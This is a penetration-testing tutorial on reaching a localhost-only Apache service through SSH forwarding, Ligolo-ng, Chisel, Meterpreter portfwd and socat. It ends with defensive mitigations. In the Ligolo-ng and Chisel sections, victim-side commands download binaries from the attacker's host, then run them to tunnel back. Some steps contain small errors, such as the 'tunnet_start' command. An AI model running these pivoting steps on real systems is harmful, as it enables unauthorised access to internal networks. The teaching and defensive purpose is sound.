Penetration Testing

A Detailed Guide on Local Port Forwarding

In the contemporary digital world, penetration testing and red team engagements, direct access to target systems from the attacker’s machine is uncommon. Many services are bound solely to localhost or safeguarded behind firewalls, rendering them inaccessible to external scanners or browsers. To bypass these restrictions, security experts employ port forwarding techniques — sophisticated methods that securely reroute network traffic through encrypted or concealed channels, establishing a seamless connection between the attacker’s environment and otherwise isolated systems.

Table of content

  • Introduction
  • Understanding Port Forwarding
  • Part 1: Lab Environment Setup
    • Installing Apache2
    • Creating the Web Root and Test Page
    • Hardening Apache with Localhost-Only Binding
    • Creating the Virtual Host Configuration
    • Enabling the Site and Restarting Apache
    • Verifying Local Access
    • Confirming External Inaccessibility
  • Part 2: SSH Local Port Forwarding
    • Confirming Port 8000 Is Closed Locally
    • Establishing the SSH Local Port Forward (Interactive)
    • Running the Tunnel in Background Mode
    • Confirming Port 8000 Is Now Open
    • Accessing the Internal Service via Tunnel
    • Verifying with netstat
  • Part 3: Ligolo-ng — Advanced Port Forwarding and Network Pivoting
    • Managing the Session and Initiating Port Forwarding
    • Routing Traffic and Scanning Targets via Port Forwarding
  • Part 4: Chisel — Lightweight HTTP Port Forwarding Tool
    • Starting the Chisel Server on the Attacker Machine
    • Downloading and Preparing the Chisel Client on the Victim
    • Connecting the Chisel Client with a Reverse Port Forwarding
    • Verifying Port Forwarding on the Server Side
    • Accessing the Hidden Service via Chisel
  • Part 5: Metasploit Framework — Meterpreter portfwd
    • Creating the Port Forward within Meterpreter
    • Accessing the Internal Service via Meterpreter portfwd
  • Part 6: socat — Socket Relay Port Forwarding
    • Creating the socat TCP Relay on the Victim
    • Accessing the Internal Service via socat

Introduction

This article acts as a guide to five powerful port forwarding strategies widely used in real-world engagements:

  • SSH Local Port Forwarding — Forwarding a remote localhost-bound service to the attacker’s local machine using the built-in SSH Port Forwarding capability.
  • Ligolo-ng — A cutting-edge, agent-based Port Forwarding framework that creates a transparent TUN interface, enabling full Layer-3 routing through a compromised host.
  • Chisel — A fast TCP/UDP Port Forwarding over HTTP using SSH encryption, ideal for environments where only HTTP traffic is permitted.
  • Metasploit — Leveraging the portfwd command inside an active Meterpreter session to transparently tunnel arbitrary TCP services through the existing encrypted C2 channel, without deploying any additional binaries on the victim.
  • socat — Using the versatile socat utility on the compromised host to expose a local listener that directly relays incoming connections to an otherwise unreachable internal service, keeping all traffic confined to the victim’s own network stack.

The lab scenario revolves around an Apache2 web server configured on a victim machine (192.168.1.9) to listen exclusively on 127.0.0.1:8080 — completely invisible from the outside. Each technique demonstrates a different way to reach and interact with that hidden service.

Understanding Port Forwarding

Port forwarding is a networking technique that allows devices on the internet to reach a specific device or service inside a private network, such as a home or office LAN.

You configure your router or firewall so that when traffic comes in on a chosen external port (for example, your public IP on port 8080), it automatically forwards that traffic to an internal IP and port (for example, 192.168.1.10:80) where the actual service is running. This is how you can host things like game servers, websites, remote desktop, or security cameras from behind NAT and still make them reachable from the internet.

Part 1: Lab Environment Setup

Before diving into Port Forwarding techniques, we first define the target environment. On the victim machine (Ubuntu 22.04, 192.168.1.9), an Apache2 web server is configured to listen only on 127.0.0.1:8080, making it unreachable from any external IP. This setup simulates a realistic scenario where internal services are isolated by strict firewall policies or network segmentation.

Installing Apache2

To install Apache2 web server on Ubuntu, use the following command:

apt install apache2

Creating the Web Root and Test Page

Three quick commands prepare the web content that Apache will serve. The first command will create a custom directory. The second command will make us enter the said directory, and the third command will drop a simple test page that will later confirm successful port forwarding when it appears in the browser via the forwarded port. These commands are as follows:

mkdir /sbin/test
cd /sbin/test
echo "Welcome to Hacking Articles" > index.html

Hardening Apache with Localhost-Only Binding

We will now define a particular port for Apache to listen on. We will also bind Apache to the loopback interface, i.e. 127.0.0.1:8080 instead of 0.0.0.0, so only local connections are accepted. And to do so use the following command:

/etc/apache2/ports.conf

Creating the Virtual Host Configuration

The virtual host configuration file defines how Apache handles incoming connections on 127.0.0.1:8080. The VirtualHost 127.0.0.1:8080 directive matches the Listen directive in ports.conf, forming a complete binding pair. And for this, we will use following command :

nano /etc/apache2/sites-available/test.conf
<VirtualHost 127.0.0.1:8080>
DocumentRoot /sbin/test/
ServerName localhost
AllowEncodedSlashes NoDecode
<Directory "/sbin/test/">
Require all granted
AllowOverride All
Options FollowSymLinks MultiViews
</Directory>
</VirtualHost>

Enabling the Site and Restarting Apache

With the configuration file created, the first command will activate it by creating a symbolic link from sites-available to sites-enabled. Apache reads only the files in sites-enabled at startup, so this step is mandatory. And the second command will restart the Apache2 web server.

a2ensite test.conf

systemctl restart apache2

Verifying Local Access

Accessing http://127.0.0.1:8080 in a browser on the victim machine itself confirms that Apache is serving the index.html file correctly. The page displays “Welcome to Hacking Articles” — our expected content.

Confirming External Inaccessibility

Accessing the Apache server from the attacker’s machine at 192.168.1.9:8080 triggers Firefox’s “Unable to connect” error, exactly as designed. Because Apache is bound to 127.0.0.1 instead of 0.0.0.0, the kernel silently drops any request from a remote IP before it ever reaches the web server, creating the security boundary that the upcoming port forwarding techniques will legitimately and authoritatively bypass.

Part 2: SSH Local Port Forwarding

SSH (Secure Shell) is more than a remote login tool; its built‑in port forwarding can relay arbitrary TCP connections through an encrypted session. Local port forwarding, a staple in penetration testing, needs only standard SSH access—no extra tools, elevated privileges, or firewall changes on the server. In essence, you tell your SSH client to listen on a local port, and any traffic to that port is silently carried over the SSH connection to a chosen host and port reachable from the SSH server. In this lab, local 127.0.0.1:8000 is forwarded to the victim’s internal 127.0.0.1:8080.

Confirming Port 8000 Is Closed Locally

Before setting up SSH port forwarding, we will confirm that the local port we plan to use (8000) is not already in use, and to do so, we will run the following nmap command:

nmap -p 8000 127.0.0.1

Establishing the SSH Local Port Forward (Interactive)

To establish an interactive SSH session with local port forwarding, use the following command:

ssh -L 127.0.0.1:8000:127.0.0.1:8080 pentest@192.168.1.9

Crucially, port forwarding is now active in the background of this session—as long as this SSH connection remains open, our local port 8000 is forwarded to the victim’s internal port 8080.

Running the Tunnel in Background Mode (Second Way)

While the interactive session works, it occupies a terminal window. So, to run this session background, we will use the following command:

ssh -f -N -L 127.0.0.1:8000:127.0.0.1:8080 pentest@192.168.1.9

This is ideal for automation and clean terminal management in real engagements, as port forwarding continues to run silently in the background as a separate process.

Confirming Port 8000 Is Now Open

To confirm that our desired port is now open, we will use the following command:

nmap -p 8000 127.0.0.1

Accessing the Internal Service via Tunnel

When Firefox on the attacker’s machine browses to http://127.0.0.1:8000, the ‘Welcome to Hacking Articles’ page loads, confirming that port forwarding is working. Although the browser only talks to the local loopback address, SSH silently forwards every request through the encrypted session to 127.0.0.1:8080 on the victim.

Part 3: Ligolo-ng — Advanced Port Forwarding and Network Pivoting

To verify SSH port forwarding with netstat use the following command:

netstat -tnlp

Ligolo-ng is a next-generation port forwarding and pivoting tool designed for penetration testers and red teamers who need reliable access to internal networks through a compromised host. It creates a virtual TUN interface and userland network stack, letting you route traffic through reverse TCP/TLS connections much like a lightweight VPN—without the overhead of configuring SOCKS proxies or proxychains for each tool.

Use the following command to launch Ligolo – ng:

ligolo-proxy --selfcert

Deploying the Agent on the Victim

We will execute three commands on the victim machine to deploy Ligolo-ng. The first command will download the agent binary from the Python server. The second command will make the binary executable, and the third will instruct it to connect back to the attacker’s proxy. These commands are as follows:

wget http://192.168.1.17:8000/agent
chmod +x agent
./agent -connect 192.168.1.17:11601 -ignore-cert

Managing the Session and Initiating Port Forwarding

Doing the above steps will give us a session on Ligolo-ng. We will use the first command to launch Ligolo-ng, the second command to interact with the session, and the third command to initiate port forwarding. The commands are as follows:

ligolo-proxy –selfcert
session
tunnet_start

At this point, a TUN interface named ‘ligolo’ becomes available on the attacker’s system. This is a virtual network interface—traffic routed through it is transparently forwarded via Ligolo-ng’s port forwarding to the victim machine.

Routing Traffic and Scanning Targets via Port Forwarding

To add a host route to the kernel routing table, use the following command:

ip route add 240.0.0.1/32 dev ligolo

Now we will use nmap to scan the victim’s loopback address through the port forwarding with the following command:

nmap 240.0.0.1 -sV

When Firefox on the attacker’s machine browses to http://240.0.0.1:8080, the ‘Welcome to Hacking Articles’ page loads, confirming that port forwarding is working.

Part 4: Chisel — Lightweight HTTP Port Forwarding Tool

Chisel is an open-source, cross-platform TCP/UDP port forwarding tool that wraps all traffic in HTTP/WebSocket and secures it end-to-end using the SSH wire protocol—perfect for networks that block custom traffic but allow outbound HTTP/HTTPS. It uses a simple client–server model: the server runs on the attacker’s machine, the lightweight client runs on the victim, initiates an outbound HTTP connection, and then defines reverse port forwarding rules that cause the server to open local ports and transparently forward incoming connections back through the encrypted channel.

Starting the Chisel Server on the Attacker Machine

The Chisel server is started on the Kali Linux attacker machine with the command:

chisel server -p 3000 -reverse

Downloading and Preparing the Chisel Client on the Victim

To deploy the Chisel client, the attacker first establishes an SSH session to the victim machine using legitimate credentials with the following command:

ssh pentest@192.168.1.9

From within the SSH session, the Chisel binary is downloaded from the attacker’s Python HTTP file server by using the following command:

wget http://192.168.1.17:8000/chisel_1.11.5_linux_amd64

The following command will make the binary executable:

chmod +x chisel_1.11.5_linux_amd64

Connecting the Chisel Client with a Reverse Port Forwarding

The Chisel client is executed on the victim machine with the reverse port forwarding configuration specified in the following command:

./chisel_1.11.5_linux_amd64 client 192.168.1.17:3000 R:1234:127.0.0.1:8080

Verifying Port Forwarding on the Server Side

Returning to the attacker’s Kali machine, the Chisel server console shows real-time updates triggered by the client’s connection. This single line is the definitive server-side confirmation that port forwarding has been established. It states that a reverse port forwarding rule (R:) has been created from port 1234 on the server (attacker Kali) to port 8080 on the client (victim). The word ‘Listening’ confirms that port 1234 is now open on the attacker’s machine and ready to accept connections. Any traffic arriving on that port will be encapsulated in the WebSocket channel and delivered to 127.0.0.1:8080 on the victim.

Accessing the Hidden Service via Chisel

The definitive proof of successful Chisel reverse port forwarding is demonstrated by opening Firefox on the attacker’s Kali machine and navigating to http://127.0.0.1:1234.

Part 5: Metasploit Framework — Meterpreter portfwd

The Metasploit Framework is the industry-standard platform for exploitation and post-exploitation, and its portfwd command adds powerful, built-in port forwarding to any active Meterpreter session. Once a target is compromised, this feature needs no extra binaries and creates no new outbound connections, because all forwarded traffic is encapsulated inside the existing encrypted Meterpreter channel.

Creating the Port Forward within Meterpreter

Since this port forwarding technique falls under post‑exploitation, we will assume an active session already exists and proceed directly to the port forwarding steps.

Within the active Meterpreter prompt, the following port-forwarding command is entered:

portfwd add -l 8081 -p 8080 -r 127.0.0.1

The relay is now live. Unlike other tools that require spawning a new process on the victim, Meterpreter portfwd is handled entirely by the existing Meterpreter agent process running in memory. The Meterpreter session remains fully interactive for all other post-exploitation tasks alongside the active port forward.

Accessing the Internal Service via Meterpreter portfwd

With the Meterpreter port forward active, the attacker opens Firefox and navigates to http://127.0.0.1:8081. The home page renders correctly and completely. The browser is connecting to 127.0.0.1:8081 on the attacker’s own machine — a port that did not exist as a listener until the portfwd add command was executed moments earlier.

socat — Socket Relay Port Forwarding

socat (SOcket CAT) is a powerful command-line utility that links two endpoints and shuttles data between them, effectively acting as a universal bidirectional relay. For port forwarding, socat shines at creating persistent, multi-client TCP relays directly on the victim. Instead of using an encrypted tunnel back to the attacker, it simply listens on a local port and forwards each connection straight to the target service, keeping all traffic inside the victim’s own network stack. Its widespread availability on Linux and status as a legitimate admin tool mean its presence is rarely suspicious by itself, forcing defenders to rely on behavioural detection rather than just binary reputation.

Creating the socat TCP Relay on the Victim

From a shell session on the victim machine (pentest@ignite), the socat relay is created with the following command:

socat TCP-LISTEN:1234,fork,reuseaddr tcp:127.0.0.1:8080 &

The shell returns the process ID [1] 2194 and the prompt immediately, confirming the relay is running.

Accessing the Internal Service via socat

With the socat relay running on the victim, the attacker accesses the forwarded service. In the lab context shown, the browser navigates to http://127.0.0.1:1234

Conclusion

This article examined five port forwarding techniques used to access an Apache2 server bound to 127.0.0.1:8080 on an otherwise hidden host. SSH local port forwarding leveraged native capabilities to create an encrypted connection with a single command. Ligolo-ng provided a full Layer‑3 TUN interface, turning the compromised host into a flexible pivot. Chisel used WebSocket-based port forwarding to bypass strict HTTP-only egress controls. Metasploit’s portfwd reused the existing Meterpreter channel with virtually no additional footprint. Finally, socat offered a simple, native TCP relay. Together, these methods show that localhost binding is meaningless once code execution is obtained.

Mitigation strategies

  • Adopt a layered defence strategy against port forwarding that spans configuration, network controls, and detection.
  • Combine hardening, monitoring, and behavioural analytics across both hosts and the network.
  • Secure SSH access:
    • Disable TCP forwarding where not explicitly needed.
    • Enforce key-based authentication with strong keys.
    • Restrict access using scoped user and group rules.
    • Route SSH connections through monitored bastion hosts.
    • Alert on SSH commands using -L, -R, or -D flags, which indicate port forwarding activity.
  • Counter agent-based port forwarding (e.g., Ligolo-ng):
    • Monitor for new executables in unusual file paths.
    • Detect unexpected TUN/TAP interfaces.
    • Watch for outbound connections on uncommon ports.
    • Use endpoint controls and custom detection rules to flag Go-based port-forwarding binaries and unusual socket creations.
  • Detect HTTP/WebSocket-based port forwarding (e.g., Chisel):
    • Rely on behavioural indicators rather than port numbers.
    • Use deep packet inspection and TLS fingerprinting.
    • Enforce proxy usage for outbound traffic.
    • Alert on long-lived, high-volume WebSocket sessions to untrusted destinations.
  • Mitigate Metasploit port forwarding (portfwd):
    • Emphasise prevention through patching, application control, and endpoint protection.
    • Monitor for new network listeners and persistent encrypted C2 channels.
  • Detect socat misuse:
    • Log any process executions involving TCP-LISTEN.
    • Apply strict “default-deny” firewall rules.
    • Remove socat where it’s not required.
    • Regularly scan for unauthorised or unexpected listeners.
  • Strengthen overarching network security:
    • Maintain strong segmentation and enforce least privilege.
    • Centralise logging and enable event correlation.
    • Apply strict egress traffic controls.
    • Conduct proactive threat hunting.
    • Regularly perform red team exercises focusing on port forwarding and pivoting techniques.

Author: Ankur Pachauri is a Cyber Security Researcher, Penetration Tester, Red Teamer, Purple Team enthusiast. Contact him on Linkedin 

Leave a Reply

Your email address will not be published. Required fields are marked *